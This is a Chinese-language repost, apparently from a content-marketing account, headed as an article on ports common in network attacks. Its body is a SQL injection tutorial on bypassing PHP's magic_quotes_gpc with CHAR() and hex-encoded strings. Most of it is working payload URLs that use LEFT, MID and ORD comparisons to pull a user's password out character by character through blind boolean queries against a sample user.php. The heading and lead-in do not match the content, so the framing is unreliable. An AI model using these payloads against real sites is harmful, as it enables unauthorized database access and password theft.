不加单引号注入注:现在我们假设magic_quotes_gpc为on了,我来为大家科普一下关于网络攻击常用端口?以下内容希望对你有帮助!

网络攻击常用端口(网络安全如何使)

网络攻击常用端口

不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多

问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成

整形类型,这个就需要用到char(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username='angel'

如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE user name=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制。

SELECT * FROM user WHERE username=0x616E67656C

# 0x616E67656C 相当于angel,十六进制。

其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所

包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子

(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid

按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1

就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们

构造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass

绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password='mypass'

由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法

可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char

(109,121,112,97,115,115)

正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比

较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还

是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char

(109,121,112,97,115,115)

然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)

就会返回:mypass

当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos

位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段

的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)

http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函

数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进

行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大

家可以自己去试验,限于篇幅也不多说了。

弈安传媒科技微课堂,每天分享财经资讯,计算机技术知识,人生感悟,创业指导以及各种专业技术知识资料学习交流.移动学习平台、知识分享平台。随时随地的学习,如果你喜欢成长,这里你不容错过的地方.弈安传媒科技培训关注:关注自己成长,分享内容,分享自己的技术,成就未来.

[弈安传媒科技提升自己的平台]请关注:头条号及公众号 弈安传媒科技

,